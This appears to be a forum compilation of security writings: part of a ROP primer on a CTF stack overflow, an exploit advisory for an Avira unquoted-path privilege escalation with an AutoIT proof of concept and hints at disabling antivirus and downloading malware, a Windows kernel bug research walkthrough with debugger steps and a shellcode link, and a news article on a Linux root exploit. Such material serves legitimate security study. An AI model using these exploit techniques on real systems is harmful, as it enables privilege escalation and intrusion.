return, the address is popped off the stack and is jumped to. This is extremely important with ROP. Saved frame pointer: Let's totally ignore this. Seriously. It's just something that compilers typically do, except when they don't, and we won't speak of it again. Local variables: A function can allocate as much memory as it needs (within reason) to store local variables. They go here. They don't matter at all for ROP and can be safely ignored. So, to summarize: when a function is called, parameters are pushed onto the stack, followed by the return address. When the function returns, it grabs the return address off the stack and jumps to it. The parameters pushed onto the stack are removed by the calling function, except when they're not. We're going to assume the caller cleans up, that is, the function doesn't clean up after itself, since that's is how it works in this challenge (and most of the time on Linux). Heaven, hell, and stack frames The main thing you have to understand to know ROP is this: a function's entire universe is its stack frame. The stack is its god, the parameters are its commandments, local variables are its sins, the saved frame pointer is its bible, and the return address is its heaven (okay, probably hell). It's all right there in the Book of Intel, chapter 3, verses 19 - 26 (note: it isn't actually, don't bother looking). Let's say you call the sleep() function, and get to the first line; its stack frame is going to look like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ ... <-- not allocated, don't care territory (lower addresses) When sleep() starts, this stack frame is all it sees. It can save a frame pointer (crap, I mentioned it twice since I promised not to; I swear I won't mention it again) and make room for local variables by subtracting the number of bytes it wants from esp (ie, making esp point to a lower address). It can call other functions, which create new frames under esp. It can do many different things; what matters is that, when it sleep() starts, the stack frame makes up its entire world. When sleep() returns, it winds up looking like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | <-- esp points here +----------------------+ | [old return address] | <-- not allocated, don't care territory starts here now +----------------------+ ... (lower addresses) And, of course, the caller, after sleep() returns, will remove "seconds" from the stack by adding 4 to esp (later on, we'll talk about how we have to use pop/pop/ret constructs to do the same thing). In a properly working system, this is how life works. That's a safe assumption. The "seconds" value would only be on the stack if it was pushed, and the return address is going to point to the place it was called from. Duh. How else would it get there? Controlling the stack ...well, since you asked, let me tell you. We've all heard of a "stack overflow", which involves overwriting a variable on the stack. What's that mean? Well, let's say we have a frame that looks like this: ... <-- don't know, don't care territory (higher addresses) +----------------------+ | [seconds] | +----------------------+ | [return address] | <-- esp points here +----------------------+ | char buf[16] | | | | | | | +----------------------+ ... (lower addresses) The variable buf is 16 bytes long. What happens if a program tries to write to the 17th byte of buf (i.e., buf[16])? Well, it writes to the last byte—little endian—of the return address. The 18th byte writes to the second-last byte of the return address, and so on. Therefore, we can change the return address to point to anywhere we want. Anywhere we want. So when the function returns, where's it go? Well, it thinks it's going to where it's supposed to go—in a perfect world, it would be—but nope! In this case, it's going to wherever the attacker wants it to. If the attacker says to jump to , it jumps to 0 and crashes. If the attacker says to go to 0x41414141 ("AAAA"), it jumps there and probably crashes. If the attacker says to jump to the stack... well, that's where it gets more complicated... DEP Traditionally, an attacker would change the return address to point to the stack, since the attacker already has the ability to put code on the stack (after all, code is just a bunch of bytes!). But, being that it was such a common and easy way to exploit systems, those assholes at OS companies (just kidding, I love you guys ) put a stop to it by introducing data execution prevention, or DEP. On any DEP-enabled system, you can no longer run code on the stack—or, more generally, anywhere an attacker can write—instead, it crashes. So how the hell do I run code without being allowed to run code!? Well, we're going to get to that. But first, let's look at the vulnerability that the challenge uses! The vulnerability Here's the vulnerable function, fresh from IDA: 1 .text:080483F4vulnerable_function proc near 2 .text:080483F4 3 .text:080483F4buf = byte ptr -88h 4 .text:080483F4 5 .text:080483F4 push ebp 6 .text:080483F5 mov ebp, esp 7 .text:080483F7 sub esp, 98h 8 .text:080483FD mov dword ptr [esp+8], 100h ; nbytes 9 .text:08048405 lea eax, [ebp+buf] 10 .text:0804840B mov [esp+4], eax ; buf 11 .text:0804840F mov dword ptr [esp], 0 ; fd 12 .text:08048416 call _read 13 .text:0804841B leave 14 .text:0804841C retn 15 .text:0804841Cvulnerable_function endp Now, if you don't know assembly, this might look daunting. But, in fact, it's simple. Here's the equivalent C: 1 ssize_t __cdecl vulnerable_function() 2 { 3 char buf[136]; 4 return read(0, buf, 256); 5 } ARTICOL COMPLET: http://www.skullsecurity.org/blog/2013/ropasaurusrex-a-primer-on-return-oriented-programming

[h=2]Avira Personal Privilege Escalation Vulnerability[/h] ============================================ Tested on OS: Microsoft Windows XP Professional 5.1.2600 Service Pack 2 2600 ============================================ Vulnerable Software: Avira Personal Tested version of Avira: ============================================ Product version 10.2.0.719 25.10.2012 Search engine 8.02.12.38 07.05.2013 Virus definition file 7.11.77.54 08.05.2013 Control Center 10.00.12.31 21.07.2011 Config Center 10.00.13.20 21.07.2011 Luke Filewalker 10.03.00.07 21.07.2011 AntiVir Guard 10.00.01.59 21.07.2011 Filter 10.00.26.09 21.07.2011 AntiVir WebGuard 10.01.09.00 09.05.2011 Scheduler 10.00.00.21 21.04.2011 Updater 10.00.00.39 21.07.2011 ============================================ Vulnerability: Privilegie Escalation ============================================ Proof Of concept: If the attacker somehow manages upload any malicious files to root directory of OS installed disk (%homedrive%) in the following manner: C:\Program.exe (In example attacker is limited to execute any file from webserver but is able upload any file to %homedrive%\ ) On next reboot this can be used to escalate privileges to NT_AUTHORITY/SYSTEM due vulnerability in Avira Personal(if that machine uses Avira Personal). ============================================ The main trouble begins from here: http://msdn.microsoft.com/en-us/library/windows/desktop/ms682425%28v=vs.85%29.aspx Parameters lpApplicationName [in, optional] c:\program.exe files\sub dir\program name c:\program files\sub.exe dir\program name c:\program files\sub dir\program.exe name c:\program files\sub dir\program name.exe ============================================ For this purposes i have used the following AutoIT script (then compiled it to 32 bit win32 binary) While 1 sleep(18000);//sleep for 18 seconds for fun MsgBox(64,"","Blah!" & @CRLF & "Woot: We got=> " & @UserName);//display the current user ShellExecute("cmd.exe");//launch cmd.exe ;Enjoy WEnd and uploaded it as Program.exe to C:\ Then simply rebooted machine. Here is result on next reboot: See escal1.PNG http://i052.radikal.ru/1305/69/7bb1ce0323ec.png http://s56.radikal.ru/i152/1305/03/10bc43883c89.png In eg: this vuln can be used in the following situations: http://packetstormsecurity.com/files/121168/MiniWeb-File-Upload-Directory-Traversal.html Attacker is able to upload arbitrary files to system but he/she is unable to execute it. ON next reboot attacker can escalate privileges to SYSTEM privilegie due vulnerability in Avira Personal. This is also possible disable Realtime protection(Guard) of Avira personal in the following way on next reboot: =========================Compile as program.exe and place to %homedrive%\==================== While 1 sleep(3600*1000); WEnd ====Start your another troyan downloader and download/execute known malware to Avira========== # 98CC4E5E757987B4 1337day.com [2013-05-17] 45058B9096F3ABCA # Sursa: 1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team

[h=3]Introduction to Windows Kernel Security Research[/h]A few months ago, I mentioned a crash I'd encountered under memory pressure on windows. I was hoping sharing a reproducer might stimulate someone who was interested in learning about kernel debugging to investigate, learning some new skills and possibly getting some insight into researching security issues, potentially getting a head start on discovering their own. Sadly, I've yet to hear back from anyone who had done any work on it. I think the path subsystem is obscure enough that it felt too daunting a task for someone new to jump into, and the fact that the reproducer is not reliable might have been scary. I've decided to help get you started, hopefully someone will feel inspired enough to continue. Before reading this post, I assume you're comfortable with kd, IDA Pro and debugging without source code. First some background, hopefully you're already familiar with GDI basics and understand Pens, Brushes and so on. Paths are basically shapes that can be created by moving between points, they can be straight lines, or irregular and composed of curves, arcs, etc. Internally, a path is stored as a linked list of it's components (points, curves, etc). http://msdn.microsoft.com/en-us/library/windows/desktop/dd162779(v=vs.85).aspx The path subsystem is very old (pre-NT?), and uses it's own object allocator called PATHALLOC. PATHALLOC is relatively simple, it's backed (indirectly) by HeavyAllocPool() with the tag 'tapG', but does include it's own simple freelist implementation to reduce calls to HeavyAllocPool. The PATHALLOC entrypoints are newpathalloc() and freepathalloc(), if you look at the code you'll see it's very simple and easy to understand. Notice that if an allocation cannot be satisfied from the freelist, newpathalloc will always memset zero allocations via PALLOCMEM(), similar to what you might expect from calloc. However, take a look at the freelist check, if the allocation is satisfied from the freelist, it skips the memset zero. Therefore, it might return allocations that have not been initialized, and callers must be sure to do this themselves. It turns out, getting an object from the freelist happens quite rarely, so the few cases that don't initialize their path object have survived over 20 years in NT. The case we're going to take a look at is EPATHOBJ::pprFlattenRec(). Hopefully you're familiar with the concept of flattening, the process of translating a bezier curve into a sequence of lines. The details of how this works are not important, just remember that curves are converted into lines. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Flattening a curve, illustration from GraphicsPath MSDN documentation.[/TD] [/TR] [/TABLE] EPATHOBJ::pprFlattenRec() is an internal routine for applying this process to a linked list of PATHRECORD objects. If you follow the logic, you can see that the PATHRECORD object retrieved from newpathrec() is mostly initialized, but with one obvious error: EPATHOBJ::pprFlattenRec(_PATHRECORD *)+33: .text:BFA122CD mov eax, [esi+PATHRECORD.prev] ; load old prev .text:BFA122D0 push edi .text:BFA122D1 mov edi, [ebp+new] ; get the new PATHRECORD .text:BFA122D4 mov [edi+PATHRECORD.prev], eax ; copy prev pointer over .text:BFA122D7 lea eax, [edi+PATHRECORD.count] ; save address of count member .text:BFA122DA xor edx, edx ; set count to zero .text:BFA122DC mov [eax], edx .text:BFA122DE mov ecx, [esi+PATHRECORD.flags] ; load flags .text:BFA122E1 and ecx, 0FFFFFFEFh ; clear bezier flag (bezier means divide points by 3 because you need two control points and an ending point). .text:BFA122E4 mov [edi+PATHRECORD.flags], ecx ; copy old flags over The next pointer is never initialized! Most of the time you want a new list node to have the next pointer set to NULL, so this works if you don't get your object from the freelist, but otherwise it won't work! How can we verify this hypothesis? Let's patch newpathrec() to always set the next pointer to a recognisable value, and see if we can reproduce the crash (Note: I don't use conditional breakpoints because of the performance overhead, if you're using something fancy like virtualkd, it's probably better to use them). There's a useless assertion in the checked build I don't need, I'll just overwrite the code with mov [pathrec->next], dword 0x41414141, like this (you can use the built in assembler if you want, but I don't like the syntax): kd> ba e 1 win32k!EPATHOBJ::newpathrec+31 kd> g Breakpoint 0 hit win32k!EPATHOBJ::newpathrec+0x31: 96611e9a 83f8ff cmp eax,0FFFFFFFFh kd> eb @eip c7 41 F0 41 41 41 41 90 90 90 90 90 90 90 90 90 90 kd> bc * kd> g Access violation - code c0000005 (!!! second chance !!!) win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h kd> r eax=41414141 ebx=9659017e ecx=a173bbec edx=00000001 esi=a173bbec edi=03010034 eip=9661252c esp=a173bbe4 ebp=a173bc28 iopl=0 nv up ei pl nz na pe nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010206 win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h ds:0023:41414149=?? This looks like convincing evidence that a newpathrec() caller is not initialising new objects correctly. When bFlatten() tried to traverse the linked list of PATHREC objects, it doesn't find the NULL it was expecting. We know the PATHREC list starts at EPATHOBJ+8, the pointer to the first element is in PATHREC+14, and the next pointer is at +0, so we can look at the chain of PATHREC objects that caused bFlatten() to crash in kd. The EPATHOBJ is in ecx (Because of the thiscall calling convention). The PATHREC list starts at poi(ecx+8) The first element in the list is at poi(poi(ecx+8)+14) (i.e. the head pointer) The next pointer for the first record will be at +0 in the PATHREC poi(poi(poi(ecx+8)+14)) We can keep adding poi() calls until we find the bad next pointer: this ecx [*]this->pathlist poi(ecx+8) [*]this->pathlist->head poi(poi(ecx+8)+14) [*]this->pathlist->head->next poi(poi(poi(ecx+8)+14)) [*]this->pathlist->head->next->next poi(poi(poi(poi(ecx+8)+14))) [*]this->pathlist->head->next->next->next poi(poi(poi(poi(poi(ecx+8)+14)))) [*]etc. Here is the object with the bad next pointer for me: kd> dd poi(poi(poi(ecx+8)+14)) fe9395a4 ff1fdde5 fe93904c 00000000 00000149 fe9395b4 01a6d0bf 00ec8b39 01a68f40 00ec19f2 fe9395c4 01a64da5 00eba8c0 01a60bee 00eb37a5 fe9395d4 01a5ca1b 00eac69f 01a5882d 00ea55af fe9395e4 01a54623 00e9e4d5 01a503fd 00e97411 fe9395f4 01a4c1bb 00e90362 01a47f5e 00e892ca fe939604 01a43ce6 00e82247 01a3fa52 00e7b1da fe939614 01a3b7a2 00e74183 01a374d7 00e6d142 The standard process for researching this kind of problem is to implement the various primitives we can chain together to get the behaviour we want reliably. These are the building blocks we use to control what's happening. Conceptually, this is something like: Primitive 1: Allocate a path object with as much contents controlled as possible. Primitive 2: Get that path object released and added to the freelist. Primitive 3: Trigger the bad allocation from the freelist. Once we have implemented these, we can chain them together to move an EPATHOBJ reliably into userspace, and then we can investigate if it's exploitable. Let's work on this. Controlling the contents of a PATHREC object A PATHREC looks something like this: struct PATHREC { VOID *next; VOID *prev; ULONG flags; ULONG count; // Number of points in array POINTFIX points[0]; // variable length array }; POINTFIX is documented in msdn as "A point structure that consists of {FIX x, y;}.". Let's try adding a large number of points to a path consisting of recognisable values as x,y coordinates with PolyBezierTo() and see if we can find it. If we break during the bounds checking in newpathrec(), we should be able to dump out the points and see if we hit it. I wrote some code like this (pseudocode): POINT *Points = calloc(8192, sizeof(POINT)); while (TRUE) { for (i = 0; i < 8192; i++) { Points[i].x = 0xDEAD; Points[i].y = 0xBEEF; } BeginPath(Device); PolyBezierTo(Device, Points, 8192 / 3); EndPath(Device); } And put a breakpoint in newpathrec(), and after some waiting, I see this: kd> ba e 1 win32k!EPATHOBJ::newpathrec+23 "dd @ecx; gc" kd> g fe85814c 000dead0 000beef0 000dead0 000beef0 fe85815c 000dead0 000beef0 000dead0 000beef0 fe85816c 000dead0 000beef0 000dead0 000beef0 fe85817c 000dead0 000beef0 000dead0 000beef0 fe85818c 000dead0 000beef0 000dead0 000beef0 fe85819c 000dead0 000beef0 000dead0 000beef0 fe8581ac 000dead0 000beef0 000dead0 000beef0 fe8581bc 000dead0 000beef0 000dead0 000beef0 This confirms the theory, that this trick can be used to get our blocks on the freelist. I spent some time making this reliable. Spamming the freelist with our POINTFIX structures Lets make sure that our paths are full of curves with these points, and then flatten them to resize them (thus reducing the number of points). If it works, just by chance we should start to see the original testcase crashing at recognisable addresses. GDISRV:AllocateObject failed alloc of 2268 bytes GDISRV:AllocateObject failed alloc of 2268 bytes GDISRV:AllocateObject failed alloc of 2268 bytes Access violation - code c0000005 (!!! second chance !!!) 9661252c f6400810 test byte ptr [eax+8],10h kd> r eax=04141410 ebx=9659017e ecx=8ef67bec edx=00000001 esi=8ef67bec edi=03010034 eip=9661252c esp=8ef67be4 ebp=8ef67c28 iopl=0 nv up ei pl nz na po nc cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010202 win32k!EPATHOBJ::bFlatten+0x15: 9661252c f6400810 test byte ptr [eax+8],10h ds:0023:04141418=?? kd> kv ChildEBP RetAddr Args to Child 8ef67be4 965901ce 00000001 00000119 fe71cef0 win32k!EPATHOBJ::bFlatten+0x15 (FPO: [0,0,4]) 8ef67c28 829e0173 03010034 001cfb48 76f0a364 win32k!NtGdiFlattenPath+0x50 (FPO: [Non-Fpo]) 8ef67c28 76f0a364 03010034 001cfb48 76f0a364 nt!KiFastCallEntry+0x163 (FPO: [0,3] TrapFrame @ 8ef67c34) Success! Now we have at least some control over the address, which is something to work with. You can see in EPATHOBJ::bFlatten() the object is handed over to EPATHOBJ::pprFlattenRec(), which is a good place to start looking to look for exploitation opportunities, possibly turning this into code execution. You can copy my portable shellcode from my KiTrap0D exploit if you need one, which should work reliably on many different kernels, the source code is available here: http://lock.cmpxchg8b.com/c0af0967d904cef2ad4db766a00bc6af/KiTrap0D.zip If nobody jumps in, I'll keep adding more notes. Feel free to ask me questions if you get stuck or need a hand! If you solve the mystery and determine this is a security issue, send me an email and I'll update this post. If you confirm it is exploitable, feel free to send your work to Microsoft if you feel so compelled, if this is your first time researching a potential vulnerability it might be an interesting experience. Note that Microsoft treat vulnerability researchers with great hostility, and are often very difficult to work with. I would advise only speaking to them under a pseudonym, using tor and anonymous email to protect yourself. Posted by Tavis Ormandy at 7:12 PM Sursa: Tavis Ormandy: Introduction to Windows Kernel Security Research

[h=1]Critical Linux vulnerability imperils users, even after “silent” fix[/h][h=2]A month after critical bug was quietly fixed, "root" vulnerability persists.[/h]by Dan Goodin - May 15 2013, 7:44pm GTBST For more than two years, the Linux operating system has contained a high-severity vulnerability that gives untrusted users with restricted accounts nearly unfettered "root" access over machines, including servers running in shared Web hosting facilities and other sensitive environments. Surprisingly, most users remain wide open even now, more than a month after maintainers of the open-source OS quietly released an update that patched the gaping hole. The severity of the bug, which resides in the Linux kernel's "perf," or performance counters subsystem, didn't become clear until Tuesday, when attack code exploiting the vulnerability became publicly available (note: some content on this site is not considered appropriate in many work environments). The new script can be used to take control of servers operated by many shared Web hosting providers, where dozens or hundreds of people have unprivileged accounts on the same machine. Hackers who already have limited control over a Linux machine—for instance, by exploiting a vulnerability in a desktop browser or a Web application—can also use the bug to escalate their privileges to root. The flaw affects versions of the Linux kernel from 2.6.37 to 3.8.8 that have been compiled with the CONFIG_PERF_EVENTS kernel configuration option. "Because there's a public exploit already available, an attacker would simply need to download and run this exploit on a target machine," Dan Rosenberg, a senior security researcher at Azimuth Security, told Ars in an e-mail. "The exploit may not work out-of-the-box on every affected machine, in which case it would require some fairly straightforward tweaks (for someone with exploit development experience) to work properly." The fix to the Linux kernel was published last month. Its documentation did not mention that the code patched a critical vulnerability that could jeopardize the security of organizations running Linux in highly sensitive environments. This lack of security advisories has been standard practice for years among Linus Torvalds and other developers of the Linux kernel—and has occasionally been the subject of intense criticism from some in security circles. Now that a fix is available in the kernel, it will be folded into all of the affected stable kernel releases offered by kernel.org, which maintains the Linux core code. Individual distributions are expected to apply the fix to their kernels and publish security updates in the coming days. Additional details of the bug are available here, here, here, and here. People running vulnerable machines with untrusted user accounts should check with their distributors to find out when a patch will be available and what steps can be taken in the meantime. One user of a Red Hat Linux distribution posted temporary mitigation steps here, although at time of writing, Ars was unable to confirm that they worked. Readers are encouraged to post other mitigation advice in comments. Sursa: Critical Linux vulnerability imperils users, even after “silent” fix | Ars Technica